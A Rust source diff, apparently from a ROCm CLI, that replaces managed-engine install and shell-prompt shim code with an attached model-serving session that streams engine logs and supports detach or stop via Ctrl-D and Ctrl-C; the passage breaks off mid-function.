+ requested_model: &str, + resolve: &ResolveModelResponse, + host: &str, + port: u16, + gpu_indices: &[u32], runtime_id: Option<&str>, env_id: Option<&str>, -) -> Result> { - if env_id.is_some() { - return Ok(None); - } - match runtime_id { - Some(runtime_id) => env_root_for_runtime(paths, engine, runtime_id), - None => Ok(None), - } -} - -/// Label recorded for the runtime a self-managing engine installs for itself. -/// -/// For `lemonade` this must be the `env_id` its adapter reports, which is -/// derived from the single Lemonade pin — it was previously a hand-written -/// literal and had drifted several minor versions behind what is installed. -fn managed_engine_runtime_id(engine: &str) -> String { - match engine { - "lemonade" => format!("lemonade-embeddable-{}", rocm_deps::LEMONADE_VERSION), - _ => "managed-engine-runtime".to_owned(), - } -} - -fn ensure_self_managed_engine_ready( - paths: &AppPaths, - config: &mut RocmCliConfig, - engine: &str, + endpoint_api_key: Option<&str>, + launch_lock: rocm_core::FileLock, + require_api_key: bool, ) -> Result<()> { - if !engine_manages_own_runtime(engine) { - return Ok(()); - } - let runtime_id = managed_engine_runtime_id(engine); - let env_root = env_root_for_self_managed_engine(paths, config)?; - let detect = engine_request::<_, DetectResponse>( - Some(paths), + let paths = AppPaths::discover()?; + + let spawn = spawn_managed_engine_child( + &paths, engine, - EngineMethod::Detect, - &DetectRequest { - runtime_id: Some(runtime_id.clone()), - device_filter: None, - }, - ) - .ok(); - // For a self-managing engine the runtime id *is* the env id its adapter - // reports for the pinned version, so a version bump leaves an older - // install detected-but-not-current. Requiring the ids to match makes the - // bump trigger an install instead of silently keeping the old runtime. - let installed = detect.as_ref().is_some_and(|detect| { - detect.installed - && detect.env_id.as_deref() == Some(runtime_id.as_str()) - && detect_runtime_matches_env_root(detect, env_root.as_deref()) - }); - let response = if installed { - None - } else { - eprintln!("Preparing {engine} for GPU serving..."); - let response = engine_request_with_env_root::<_, InstallResponse>( - Some(paths), - engine, - EngineMethod::Install, - &InstallRequest { - runtime_id: runtime_id.clone(), - python_version: None, - reinstall: false, - env_root: env_root.clone(), - }, - env_root.as_deref(), - )?; - // No `settle_engine_install` here. This function returns at the top unless - // `engine_manages_own_runtime(engine)`, and that is exactly the case - // `settles_runtime_torch` declines: the runtime holds the engine's own - // binary, not an interpreter with a torch in it. Calling it would be inert - // at best, and a call that provably cannot act invites someone to "fix" the - // gate later. - Some(response) - }; + service_id, + requested_model, + resolve, + host, + port, + &resolve.device_policy, + gpu_indices, + runtime_id, + env_id, + resolve.engine_recipe.as_ref(), + require_api_key, + )?; + // The claiming record is persisted (or an existing service was found), so the + // selected GPU is now visible to concurrent auto-selection. Release the launch + // lock before streaming logs, which blocks for the whole attached session. + drop(launch_lock); - let engine_config = config.engine_config_mut(engine); - engine_config.last_installed_runtime_id = Some(runtime_id); - if let Some(response) = response { - engine_config.last_installed_env_id = Some(response.env_id.clone()); - if engine_config.preferred_runtime_id.is_none() && engine_config.preferred_env_id.is_none() - { - engine_config.preferred_env_id = Some(response.env_id); + let (service_id, log_path, child_pid) = match spawn { + // A server for this engine+model is already live. Don't fight it for the + // port — point the user at the existing one instead of tailing a log we + // did not start. + ManagedSpawn::AlreadyRunning(report) => { + println!("model already being served"); + println!(" service_id: {}", report.service_id); + println!(" endpoint: {}", report.endpoint_url); + println!(" status: {}", report.status); + println!(" logs: rocm logs {}", report.service_id); + println!(" stop: rocm services stop {} --yes", report.service_id); + drop_orphaned_endpoint_key_on_already_running(&paths, service_id, endpoint_api_key); + return Ok(()); + } + ManagedSpawn::Spawned { record, child_pid } => { + (service_id.to_owned(), record.log_path.clone(), child_pid) } - } - config.save(paths)?; - Ok(()) -} - -fn detect_runtime_matches_env_root(detect: &DetectResponse, env_root: Option<&Path>) -> bool { - let Some(env_root) = env_root else { - return true; }; - detect - .runtime_executable - .as_deref() - .map(PathBuf::from) - .is_some_and(|runtime_executable| path_is_same_or_inside(&runtime_executable, env_root)) -} -#[derive(Debug, Clone, Deserialize)] -struct ManagedEngineEnvManifest { - env_id: String, - runtime_id: String, - python_executable: String, - env_path: PathBuf, -} - -#[derive(Debug, Clone)] -struct ResolvedEngineEnv { - env_id: String, - runtime_id: String, - python_executable: String, - env_path: PathBuf, - source: String, -} + // The child is a managed service that outlives this session once detached, so + // it needs the same supervision the background path gives it: the daemon + // health-checks and auto-recovers managed servers, reconciles a self-exited + // server's record, and feeds the dashboard. Match the background ordering + // (spawn, then ensure the helper) and keep it quiet so no status line breaks + // into the log stream. + ensure_background_helper_running_quiet(true)?; -/// Extra argv, environment, and files needed to make a spawned shell *look* -/// like a managed engine shell. -#[derive(Debug, Clone, PartialEq, Eq)] -struct ShellPromptShim { - /// Appended to the shell's argv. - args: Vec, - /// Added to the child environment. - envs: Vec<(String, String)>, - /// Written before the shell starts, as (path, contents). - files: Vec<(PathBuf, String)>, -} + // The resolution detail (model, engine, runtime, GPU, warnings) was already + // printed as the "serve plan" block in `serve()`; extend it with the launch + // coordinates and the streaming hint rather than repeating it. + let endpoint = format!("{}/v1", format_http_base_url(host, port)); + println!(" service_id: {service_id}"); + println!(" endpoint: {endpoint}"); + if let Some(key) = endpoint_api_key { + print!("{}", render_endpoint_client_config(&endpoint, key)); + } + println!(" streaming engine logs — Ctrl-D detaches (leaves it running), Ctrl-C stops it"); + println!(); -/// Work out how to mark `shell_program`'s prompt with `prompt`. -/// -/// Passing the marker through the `PS1` *environment variable* does not work: -/// bash assigns `PS1` from `/etc/bash.bashrc` and `~/.bashrc` on every -/// interactive start, so the inherited value is overwritten and the engine shell -/// ends up looking exactly like the shell it was launched from. The marker has to -/// be applied from inside the shell's own startup, after the user's files have -/// run — which is what these shims do. -/// -/// Pure: decides *what* to write and *how* to invoke, and leaves the I/O to the -/// caller so the decision can be unit-tested. Returns `None` for shells that -/// cannot be marked safely; the caller's handover banner covers those instead of -/// this failing. -/// -/// `original_zdotdir` is the caller's `ZDOTDIR`, if it had one, so the zsh shim -/// can still find the user's real startup files after we redirect `ZDOTDIR` at -/// our own directory. -fn engine_shell_prompt_shim( - shell_program: &str, - prompt: &str, - shim_dir: &Path, - original_zdotdir: Option<&str>, -) -> Option { - // Match on the file stem so `--shell /usr/bin/zsh` and a bare `bash` behave - // the same. `bash5`-style names are deliberately not matched: guessing wrong - // is worse than falling back to the banner. - let stem = Path::new(shell_program) - .file_stem() - .and_then(std::ffi::OsStr::to_str)? - .to_ascii_lowercase(); + let outcome = stream_attached_logs(&log_path, child_pid)?; + println!(); - match stem.as_str() { - "bash" => { - let rcfile = shim_dir.join("engine-shell.bash"); - // `--rcfile` replaces ~/.bashrc ONLY -- bash still sources - // /etc/bash.bashrc itself, so sourcing that here would apply it twice. - let contents = format!( - "# Generated by `rocm engines shell`. Sources your own startup file\n\ - # first, then marks the prompt so this shell is distinguishable.\n\ - if [ -r \"$HOME/.bashrc\" ]; then . \"$HOME/.bashrc\"; fi\n\ - PS1='{prompt}'\"$PS1\"\n" - ); - Some(ShellPromptShim { - args: vec![ - "--rcfile".to_owned(), - rcfile.display().to_string(), - "-i".to_owned(), - ], - envs: Vec::new(), - files: vec![(rcfile, contents)], - }) - } - "zsh" => { - // Redirecting ZDOTDIR makes zsh skip the user's `.zshenv` AND their - // `.zshrc`. Losing `.zshenv` would silently strip their PATH and - // exports -- a worse bug than the unmarked prompt -- so both are - // restored, and the original location is passed through for the shim - // to read at startup. - let user_zdotdir = "${ROCM_CLI_ORIG_ZDOTDIR:-$HOME}"; - let zshenv = format!( - "# Generated by `rocm engines shell`; restores your own .zshenv.\n\ - __rocm_zdotdir=\"{user_zdotdir}\"\n\ - [ -r \"$__rocm_zdotdir/.zshenv\" ] && . \"$__rocm_zdotdir/.zshenv\"\n" - ); - let zshrc = format!( - "# Generated by `rocm engines shell`. Sources your own .zshrc first,\n\ - # then marks the prompt so this shell is distinguishable.\n\ - __rocm_zdotdir=\"{user_zdotdir}\"\n\ - [ -r \"$__rocm_zdotdir/.zshrc\" ] && . \"$__rocm_zdotdir/.zshrc\"\n\ - PROMPT='{prompt}'$PROMPT\n" + match outcome { + AttachOutcome::Detach => { + println!("detached — server still running"); + println!(" service_id: {service_id}"); + println!(" endpoint: {endpoint}"); + println!(" list: rocm services"); + println!(" logs: rocm logs {service_id}"); + println!(" stop: rocm services stop {service_id} --yes"); + record_cli_audit_event( + &paths, + "service", + "serve_detach", + "info", + format!("detached from attached serve service_id={service_id} endpoint={endpoint}"), + Some(&service_id), ); - let mut envs = vec![("ZDOTDIR".to_owned(), shim_dir.display().to_string())]; - if let Some(original) = original_zdotdir.filter(|value| !value.trim().is_empty()) { - envs.push(("ROCM_CLI_ORIG_ZDOTDIR".to_owned(), original.to_owned())); - } - Some(ShellPromptShim { - args: Vec::new(), - envs, - files: vec![ - (shim_dir.join(".zshenv"), zshenv), - (shim_dir.join(".zshrc"), zshrc), - ], - }) + Ok(()) } - // fish, sh, dash, cmd, PowerShell, anything else: no safe way to inject a - // marker without taking over startup, so the banner carries the message. - _ => None, - } -} - -/// Write a [`ShellPromptShim`]'s files, creating the directory if needed. -/// -/// The files live under the app's own engine state directory rather than a temp -/// dir: they must outlive this process's setup and stay readable for the whole -/// life of the spawned shell, and a fixed path is regenerated on every run -/// instead of accumulating. -fn write_engine_shell_shim(shim_dir: &Path, shim: &ShellPromptShim) -> Result<()> { - fs::create_dir_all(shim_dir) - .with_context(|| format!("failed to create {}", shim_dir.display()))?; - for (path, contents) in &shim.files { - fs::write(path, contents).with_context(|| format!("failed to write {}", path.display()))?; - } - Ok(()) -} - -fn engine_shell( - engine: &str, - runtime_id: Option<&str>, - env_id: Option<&str>, - shell_override: Option<&str>, -) -> Result<()> { - if !interactive_terminal() { - bail!("`rocm engines shell` requires an interactive terminal"); - } - - let paths = AppPaths::discover()?; - let config = RocmCliConfig::load(&paths)?; - let resolved = resolve_engine_env(&paths, &config, engine, runtime_id, env_id)?; - let shell_program = shell_override - .map(str::to_owned) - .or_else(default_interactive_shell_program) - .context("unable to determine an interactive shell; set --shell or SHELL")?; - let venv_bin = runtime_python_env_bin_dir(&resolved.env_path); - let shell_hint = runtime_python_activation_hint(&resolved.env_path); - - println!("engine shell"); - println!(" engine: {engine}"); - println!(" source: {}", resolved.source); - println!(" env_id: {}", resolved.env_id); - println!(" runtime_id: {}", resolved.runtime_id); - println!(" env_path: {}", resolved.env_path.display()); - println!(" python: {}", resolved.python_executable); - println!(" shell: {shell_program}"); - println!(" activate_hint: {shell_hint}"); - println!(" exit_hint: use `exit` or Ctrl-D to leave the managed env shell"); - - let path_with_env = prepend_runtime_path(&venv_bin, std::env::var_os("PATH").as_deref()) - .context("failed to compose PATH for managed engine env shell")?; - let mut command = ProcessCommand::new(&shell_program); - command - .stdin(Stdio::inherit()) - .stdout(Stdio::inherit()) - .stderr(Stdio::inherit()) - .env("VIRTUAL_ENV", &resolved.env_path) - .env("PATH", path_with_env) - .env("ROCM_CLI_ENGINE", engine) - .env("ROCM_CLI_ENV_ID", &resolved.env_id) - .env("ROCM_CLI_RUNTIME_ID", &resolved.runtime_id) - .env("ROCM_CLI_PYTHON", &resolved.python_executable); - apply_app_path_env(&mut command, &paths); - - let prompt = format!("(rocm:{engine}) "); - let mut prompt_marked = false; - if !rocm_core::runtime_is_windows() { - // Kept for prompt frameworks (starship, powerlevel10k, oh-my-posh) that - // read this directly -- that is why the missing marker went unnoticed by - // anyone using one. Plain bash/zsh need the shim below. - command.env("VIRTUAL_ENV_PROMPT", &prompt); - - let shim_dir = paths.engine_state_dir(engine).join("shell"); - // `engine` is constrained by clap to the supported-engine list, so the - // prompt cannot carry shell metacharacters into the generated files. - if let Some(shim) = engine_shell_prompt_shim( - &shell_program, - &prompt, - &shim_dir, - std::env::var("ZDOTDIR").ok().as_deref(), - ) { - // A shim that cannot be written is not worth failing the command over - // -- the shell still works, it just looks unmarked, and the banner - // below adapts to say so. - match write_engine_shell_shim(&shim_dir, &shim) { - Ok(()) => { - command.args(&shim.args); - for (key, value) in &shim.envs { - command.env(key, value); - } - prompt_marked = true; - } + AttachOutcome::Stop => { + println!("stopping server…"); + match run_internal_sandbox_tool( + &paths, + SandboxToolArg::StopServer, + Some(service_id.clone()), + true, + ) { + Ok(result) => print!("{}", render_service_action_result("stop_server", &result)), Err(error) => { - eprintln!("warning: could not prepare the engine shell prompt: {error}"); + // Best-effort direct signal so Ctrl-C never leaves the model + // orphaned when the sandbox stop path fails. + let _ = rocm_core::terminate_process_tree(child_pid); + println!(" note: {error}"); } } + record_cli_audit_event( + &paths, + "service", + "serve_stop", + "info", + format!("stopped attached serve service_id={service_id}"), + Some(&service_id), + ); + Ok(()) } - - if !prompt_marked { - // Shells we have no shim for (sh, dash) do honour an inherited PS1, so - // this is still worth setting -- but as a self-contained value. The - // previous `{prompt}${PS1:-}` referred to the variable being assigned, - // which dash expanded into itself and rendered as - // `(rocm:vllm) (rocm:vllm) ${PS1:-}`. Shells that ignore PS1 entirely - // (fish) are unaffected either way. - command.env("PS1", format!("{prompt}$ ")); + AttachOutcome::ServerExited => { + println!("server process exited"); + println!(" service_id: {service_id}"); + println!(" recent logs: rocm logs {service_id}"); + Ok(()) } } +} - // The block above describes the environment; this is the handover. Without - // it, a shell we could not mark is indistinguishable from the parent and - // reads as "the command only printed information" -- which is how this was - // reported. - println!(); - if prompt_marked { - println!("Entering the {engine} engine shell — your prompt is now prefixed {prompt}"); - } else { - println!( - "Entering the {engine} engine shell — your prompt may look unchanged; \ - run `echo $ROCM_CLI_ENGINE` to confirm you are inside it." - ); - } - println!("Run `exit` (or Ctrl-D) to return to your previous shell."); +/// Restores cooked terminal mode when dropped, so [`stream_attached_logs`] leaves +/// the terminal usable on every exit path (normal return, `?` error, or panic). +struct RawModeGuard; - let status = command - .status() - .with_context(|| format!("failed to launch shell `{shell_program}`"))?; - if status.success() { - Ok(()) - } else { - bail!("managed engine shell exited with status {status}"); +impl Drop for RawModeGuard { + fn drop(&mut self) { + let _ = crossterm::terminal::disable_raw_mode(); } } -fn resolve_engine_env( - paths: &AppPaths, - config: &RocmCliConfig, - engine: &str, - runtime_id: Option<&str>, - env_id: Option<&str>, -) -> Result { - let selection = validate_engine_selection_runtime( - paths, - resolve_engine_selection(config, engine, runtime_id, env_id), - )?; - if let Some(env_id) = selection.env_id.as_deref() { - let manifest = load_engine_env_manifest(paths, engine, env_id)?; - return Ok(ResolvedEngineEnv { - env_id: manifest.env_id, - runtime_id: manifest.runtime_id, - python_executable: manifest.python_executable, - env_path: manifest.env_path, - source: selection - .source - .unwrap_or_else(|| "manifest_env_id".to_owned()), - }); +/// Map a key press (control modifier + lowercased character) to the attach +/// action it triggers, if any. Factored out of the raw-mode reader loop so the +/// Ctrl-D/Ctrl-C mapping is unit-testable without a terminal. +const fn detach_key_outcome(ctrl: bool, ch: char) -> Option { + if !ctrl { + return None; + } + match ch { + 'c' => Some(AttachOutcome::Stop), + 'd' => Some(AttachOutcome::Detach), + _ => None, } - - let runtime_id = selection.runtime_id.with_context(|| { - "no active ROCm runtime is configured; run `rocm runtimes list` and `rocm runtimes activate `, or pass --runtime-id" - })?; - let env_root = env_root_for_engine_install(paths, config, engine, &runtime_id)?; - let response = engine_request_with_env_root::<_, InstallResponse>( - Some(paths), - engine, - EngineMethod::Install, - &InstallRequest { - runtime_id: runtime_id.clone(), - python_version: None, - reinstall: false, - env_root: env_root.clone(), - }, - env_root.as_deref(), - )?; - settle_engine_install(paths, engine, &runtime_id, &response)?; - Ok(ResolvedEngineEnv { - env_id: response.env_id, - runtime_id, - python_executable: response.python_executable, - env_path: PathBuf::from(response.env_path), - source: selection - .source - .unwrap_or_else(|| "auto_install".to_owned()), - }) -} - -fn load_engine_env_manifest( - paths: &AppPaths, - engine: &str, - env_id: &str, -) -> Result { - let path = paths - .engine_manifests_dir(engine) - .join(format!("{env_id}.json")); - let bytes = fs::read(&path).with_context(|| format!("failed to read {}", path.display()))?; - serde_json::from_slice(&bytes).with_context(|| format!("failed to parse {}", path.display())) -} - -#[derive(Debug, Clone, Eq, PartialEq)] -struct ServeEngineSelection { - engine: String, - source: &'static str, } -fn select_serve_engine( - explicit_engine: Option<&str>, - configured_default: Option<&str>, - recipe: Option<&ModelRecipeRecord>, - host_gpu_summary: Option<&rocm_core::HostGpuSummary>, -) -> ServeEngineSelection { - if let Some(engine) = explicit_engine.filter(|value| !value.trim().is_empty()) { - return ServeEngineSelection { - engine: engine.to_owned(), - source: "explicit --engine", - }; - } +/// Follow `log_path` in the terminal until the user presses Ctrl-D (detach) or +/// Ctrl-C (stop), or the engine process exits. Uses crossterm raw mode to +/// capture the keys directly (in raw mode Ctrl-C does not raise SIGINT, so we see +/// it as a key event). When stdin is not a TTY (piped/CI), keystroke capture is +/// impossible, so we follow the log until the process exits instead. +fn stream_attached_logs(log_path: &Path, child_pid: u32) -> Result { + use std::io::IsTerminal as _; + use std::sync::Arc; + use std::sync::atomic::{AtomicBool, Ordering}; + use std::sync::mpsc; - if let Some(engine) = configured_default.filter(|value| !value.trim().is_empty()) { - return ServeEngineSelection { - engine: engine.to_owned(), - source: "configured default_engine", - }; + if !std::io::stdin().is_terminal() { + return stream_attached_logs_no_tty(log_path, child_pid); } - if let Some(engine) = host_gpu_summary.and_then(preferred_serve_engine_for_host_gpu_summary) { - // Only honor the GPU preference when the model's recipe can actually run on - // that engine. A recipe that exists but does not support the preferred engine - // (for example a GGUF model that only Lemonade can serve) must fall through to - // its own preferred engine instead of being forced onto an incompatible engine. - let recipe_supports_preferred = - recipe.is_none_or(|recipe| model_recipe_supports_engine(recipe, engine)); - if recipe_supports_preferred { - return ServeEngineSelection { - engine: engine.to_owned(), - source: "detected ROCm GPU family prefers vLLM", - }; - } - } + // Enter raw mode *before* spawning the key reader. In raw mode Ctrl-C arrives + // as a key event instead of SIGINT; if the reader started first, a Ctrl-C in + // that window would kill the CLI outright (leaving the detached child alive + // but printing no detach/stop message). The guard restores cooked mode on + // every exit path (normal return, `?` error, panic). + crossterm::terminal::enable_raw_mode().context("failed to enter raw terminal mode")?; + let _raw_guard = RawModeGuard; - if let Some(engine) = recipe - .and_then(|recipe| recipe.preferred_engines.first()) - .filter(|value| !value.trim().is_empty()) - { - return ServeEngineSelection { - engine: engine.to_owned(), - source: "recipe preferred engine; pass --engine to override; no automatic fallback", - }; - } + let stop = Arc::new(AtomicBool::new(false)); + let (tx, rx) = mpsc::channel::(); - ServeEngineSelection { - engine: default_engine_for_platform().to_owned(), - source: "platform default", - } -} - -fn model_recipe_supports_engine(recipe: &ModelRecipeRecord, engine: &str) -> bool { - recipe - .preferred_engines - .iter() - .any(|candidate| candidate.eq_ignore_ascii_case(engine)) - || recipe - .engine_recipes - .iter() - .any(|candidate| candidate.engine.eq_ignore_ascii_case(engine)) -} - -fn serve_model_ref_for_engine( - model: &str, - recipe: Option<&ModelRecipeRecord>, - selected_engine: &str, -) -> String { - let Some(recipe) = - recipe.filter(|recipe| model_recipe_supports_engine(recipe, selected_engine)) - else { - return model.to_owned(); - }; - if let Some(override_id) = recipe - .engine_recipes - .iter() - .find(|engine_recipe| engine_recipe.engine.eq_ignore_ascii_case(selected_engine)) - .and_then(|engine_recipe| engine_recipe.model_id_override.as_deref()) - .filter(|value| !value.trim().is_empty()) - { - return override_id.to_owned(); - } - recipe.canonical_model_id.clone() -} - -fn serve_engine_selection_line(selection: &ServeEngineSelection) -> String { - format!(" engine_selection: {}", selection.source) -} - -fn render_serve_engine_recipe_lines(engine_recipe: &EngineRecipeHint) -> String { - let mut output = String::new(); - let _ = writeln!( - output, - " engine_recipe_contract: {}", - engine_recipe.contract_version - ); - let _ = writeln!( - output, - " engine_recipe_policy: selected-engine required_flags are applied at launch; parser/endpoint metadata is forwarded to the adapter" - ); - let _ = writeln!(output, " engine_recipe_engine: {}", engine_recipe.engine); - if !engine_recipe.required_flags.is_empty() { - let _ = writeln!( - output, - " engine_recipe_required_flags: {}", - engine_recipe.required_flags.join(" ") - ); - } - output -} + let reader_stop = Arc::clone(&stop); + let reader = thread::spawn(move || { + use crossterm::event::{self, Event, KeyCode, KeyEventKind, KeyModifiers}; + while !reader_stop.load(Ordering::Relaxed) { + match event::poll(Duration::from_millis(100)) { + Ok(true) => match event::read() { + Ok(Event::Key(key)) if key.kind != KeyEventKind::Release => { + let outcome = match key.code { + KeyCode::Char(ch) => detach_key_outcome( + key.modifiers.contains(KeyModifiers::CONTROL), + ch.to_ascii_lowercase(), + ), + _ => None, + }; + if let Some(outcome) = outcome { + let _ = tx.send(outcome); + break; + } + } + Ok(_) => {} + Err(_) => break, + }, + Ok(false) => {} + Err(_) => break, + } + } + }); -fn protocol_engine_recipe_hint( - recipe: &ModelRecipeRecord, - engine: &str, -) -> Option { - recipe - .engine_recipes - .iter() - .find(|engine_recipe| engine_recipe.engine == engine) - .map(|engine_recipe| EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: engine_recipe.engine.clone(), - required_flags: engine_recipe.required_flags.clone(), - parser_settings: engine_recipe.parser_settings.clone(), - preferred_endpoint: engine_recipe.preferred_endpoint.as_ref().map(|endpoint| { - EngineRecipeEndpointHint { - endpoint_mode: endpoint.endpoint_mode.clone(), - settings: endpoint.settings.clone(), + let mut stdout = io::stdout(); + let mut log_reader: Option> = None; + let mut line = String::new(); + let outcome = loop { + if log_reader.is_none() { + log_reader = fs::File::open(log_path).ok().map(io::BufReader::new); + } + if let Some(reader) = log_reader.as_mut() { + loop { + line.clear(); + match reader.read_line(&mut line) { + Ok(0) => break, + Ok(_) => { + // Raw mode disables the terminal's own \n -> \r\n + // translation, so emit an explicit carriage return to + // keep the log left-aligned instead of stair-stepping. + let _ = write!(stdout, "{}\r\n", line.trim_end_matches('\n')); + let _ = stdout.flush(); + } + Err(_) => break, } - }), - unsupported_combinations: engine_recipe - .unsupported_combinations - .iter() - .map(|combination| EngineRecipeUnsupportedCombinationHint { - combination: combination.combination.clone(), - reason: combination.reason.clone(), - }) - .collect(), - notes: engine_recipe.notes.clone(), - }) -} + } + } -/// Applies an explicit `--tool-call-parser` override to a vLLM engine recipe hint. -/// -/// The TUI chat tab always attaches tool definitions to non-streaming chat -/// requests (`tool_choice: "auto"`). vLLM rejects those with HTTP 400 unless it was -/// started with `--enable-auto-tool-choice` *and* a matching `--tool-call-parser`. -/// The correct parser is model-specific and vLLM does not auto-detect it, so it is -/// never guessed from the model ref: it comes either from authored catalog recipe -/// metadata (already carried in `required_flags`) or from the explicit -/// `--tool-call-parser` serve flag, which this applies. -/// -/// Only vLLM is affected. When an override is supplied it wins over any -/// recipe-authored parser (a single `--tool-call-parser`, no duplication) and a -/// minimal hint is synthesized when none exists (arbitrary HF repos, or a catalog -/// model forced onto a non-preferred engine). With no override the hint passes -/// through unchanged. -fn engine_recipe_with_tool_call_override( - engine: &str, - hint: Option, - tool_call_parser: Option<&str>, -) -> Option { - if !engine.eq_ignore_ascii_case("vllm") { - return hint; - } - let Some(parser) = tool_call_parser - .map(str::trim) - .filter(|value| !value.is_empty()) - else { - return hint; + if let Ok(signal) = rx.try_recv() { + break signal; + } + if !process_is_running(child_pid) { + break AttachOutcome::ServerExited; + } + thread::sleep(Duration::from_millis(150)); }; - let mut hint = hint.unwrap_or_else(|| EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: engine.to_owned(), - ..EngineRecipeHint::default() - }); - set_vllm_tool_call_parser(&mut hint.required_flags, parser); - Some(hint) -} - -/// Sampling defaults a `rocm serve` invocation can push into a vLLM launch. -#[derive(Debug, Clone, Copy, Default, PartialEq)] -struct ServeGenerationDefaults { - temperature: Option, - top_p: Option, - max_tokens: Option, -} -impl ServeGenerationDefaults { - const fn is_empty(&self) -> bool { - self.temperature.is_none() && self.top_p.is_none() && self.max_tokens.is_none() - } + stop.store(true, Ordering::Relaxed); + let _ = reader.join(); + Ok(outcome) } -/// Applies `rocm serve` generation defaults (`--temperature`/`--top-p`/`--max-tokens`) -/// to the selected engine's launch recipe. -/// -/// vLLM `serve` has no raw `--temperature`/`--top-p` flags; `--override-generation-config` -/// is the supported way to set server-wide sampling defaults, so `--max-tokens` is -/// mapped onto vLLM's `max_new_tokens` output cap. Only supplied values are written, -/// and any values already carried by an authored recipe's -/// `--override-generation-config` are preserved (the CLI-supplied keys win). -/// -/// Lemonade's llama.cpp backend accepts the equivalent `--temperature`, `--top-p`, -/// and `--n-predict` launch flags. A minimal hint is synthesized when none exists. -/// With no defaults supplied the hint passes through unchanged. -fn engine_recipe_with_generation_defaults( - engine: &str, - hint: Option, - defaults: ServeGenerationDefaults, -) -> Result> { - if defaults.is_empty() { - return Ok(hint); - } - let mut hint = hint.unwrap_or_else(|| EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: engine.to_owned(), - ..EngineRecipeHint::default() - }); - if engine.eq_ignore_ascii_case("vllm") { - let mut overrides = serde_json::Map::new(); - if let Some(temperature) = defaults.temperature { - overrides.insert("temperature".to_owned(), serde_json::json!(temperature)); +/// Non-interactive fallback for [`stream_attached_logs`]: no keystroke capture, +/// so just follow the log until the (detached) engine process exits. A Ctrl-C +/// here delivers SIGINT to this process and leaves the managed server running. +fn stream_attached_logs_no_tty(log_path: &Path, child_pid: u32) -> Result { + let mut stdout = io::stdout(); + let mut log_reader: Option> = None; + let mut line = String::new(); + loop { + if log_reader.is_none() { + log_reader = fs::File::open(log_path).ok().map(io::BufReader::new); } - if let Some(top_p) = defaults.top_p { - overrides.insert("top_p".to_owned(), serde_json::json!(top_p)); + if let Some(reader) = log_reader.as_mut() { + loop { + line.clear(); + match reader.read_line(&mut line) { + Ok(0) => break, + Ok(_) => { + let _ = write!(stdout, "{line}"); + let _ = stdout.flush(); + } + Err(_) => break, + } + } } - if let Some(max_tokens) = defaults.max_tokens { - overrides.insert("max_new_tokens".to_owned(), serde_json::json!(max_tokens)); + if !process_is_running(child_pid) { + return Ok(AttachOutcome::ServerExited); } - set_vllm_override_generation_config(&mut hint.required_flags, &overrides); - } else if engine.eq_ignore_ascii_case("lemonade") { - set_lemonade_generation_defaults(&mut hint.required_flags, defaults); - } else { - bail!( - "generation defaults are not supported by engine `{engine}`; omit --temperature/--top-p/--max-tokens or select vllm/lemonade" - ); + thread::sleep(Duration::from_millis(200)); } - Ok(Some(hint)) } -fn set_lemonade_generation_defaults(flags: &mut Vec, defaults: ServeGenerationDefaults) { - // Only touch a flag pair when the caller actually supplied that control — - // an unset field must leave any authored recipe value in place rather than - // deleting it, mirroring the vLLM merge semantics in - // `set_vllm_override_generation_config`. - for (name, value) in [ - ( - "--temperature", - defaults.temperature.map(|value| value.to_string()), - ), - ("--top-p", defaults.top_p.map(|value| value.to_string())), - ( - "--n-predict", - defaults.max_tokens.map(|value| value.to_string()), - ), - ] { - let Some(value) = value else { - continue; - }; - let mut rewritten = Vec::with_capacity(flags.len() + 2); - let mut skip_value = false; - for flag in std::mem::take(flags) { - if skip_value { - skip_value = false; - continue; - } - if flag == name { - skip_value = true; +fn services(command: Option) -> Result<()> { + let paths = AppPaths::discover()?; + match command.unwrap_or(ServicesCommand::List { + all: false, + json: false, + }) { + ServicesCommand::List { all, json } => { + if json { + print!("{}", render_services_json(&paths, all)?); } else { - rewritten.push(flag); + print!("{}", render_services_text(&paths, all)?); + } + Ok(()) + } + ServicesCommand::Logs { service_id } => { + print!("{}", render_service_logs_text(&paths, &service_id)?); + Ok(()) + } + ServicesCommand::Stop { service_id, yes } => { + run_approved_service_action(&paths, "stop_server", &service_id, yes) + } + ServicesCommand::Restart { service_id, yes } => { + run_approved_service_action(&paths, "restart_server", &service_id, yes) + } + ServicesCommand::Remove { service_id, yes } => { + print!( + "{}", + remove_managed_service_record(&paths, &service_id, yes)? + ); + record_cli_audit_event( + &paths, + "service", + "remove_record", + "info", + format!("removed local server record {service_id}"), + Some(&service_id), + ); + Ok(()) + } + ServicesCommand::Prune { + older_than_hours, + any_age, + dry_run, + yes, + } => { + let older_than_hours = service_prune_min_age_hours(older_than_hours, any_age); + let outcome = prune_managed_service_records(&paths, older_than_hours, dry_run, yes)?; + print!("{}", outcome.text); + if !dry_run && (outcome.removed_records > 0 || outcome.removed_files > 0) { + record_cli_audit_event( + &paths, + "service", + "prune_records", + "info", + format!( + "removed {} local server record(s) and {} leftover file(s) older than {older_than_hours}h", + outcome.removed_records, outcome.removed_files + ), + None, + ); + } + // Deliberately after the print and the audit event: a file this run + // could not delete still has to fail the command, but not at the + // cost of the record of what it *did* delete. + if !outcome.failures.is_empty() { + // Only reachable through this dispatch, so no unit test covers + // it: `service-cleanup-06` in + // `features/service_record_cleanup.feature` is its cover. + bail!( + "{} file(s) could not be removed; see the list above", + outcome.failures.len() + ); } + Ok(()) } - rewritten.extend([name.to_owned(), value]); - *flags = rewritten; } } -/// Rewrites `flags` so vLLM's `--override-generation-config` carries exactly one -/// merged JSON object: any existing `--override-generation-config ` pair is -/// removed, its keys are used as a base, and `overrides` are layered on top (CLI -/// values win). Emits a single flag pair with the merged, stably-ordered config. -fn set_vllm_override_generation_config( - flags: &mut Vec, - overrides: &serde_json::Map, -) { - let existing = std::mem::take(flags); - let mut rewritten: Vec = Vec::with_capacity(existing.len() + 2); - let mut merged = serde_json::Map::new(); - let mut take_value = false; - for flag in existing { - if take_value { - take_value = false; - if let Ok(serde_json::Value::Object(existing_config)) = - serde_json::from_str::(&flag) - { - for (key, value) in existing_config { - merged.insert(key, value); +fn comfyui(command: Option) -> Result<()> { + let paths = AppPaths::discover()?; + let config = RocmCliConfig::load(&paths).unwrap_or_default(); + match command.unwrap_or(ComfyuiCommand::Status) { + ComfyuiCommand::Status => { + print!("{}", comfyui::render_status(&paths, &config)?); + record_cli_audit_event( + &paths, + "app", + "comfyui_status", + "info", + "rendered 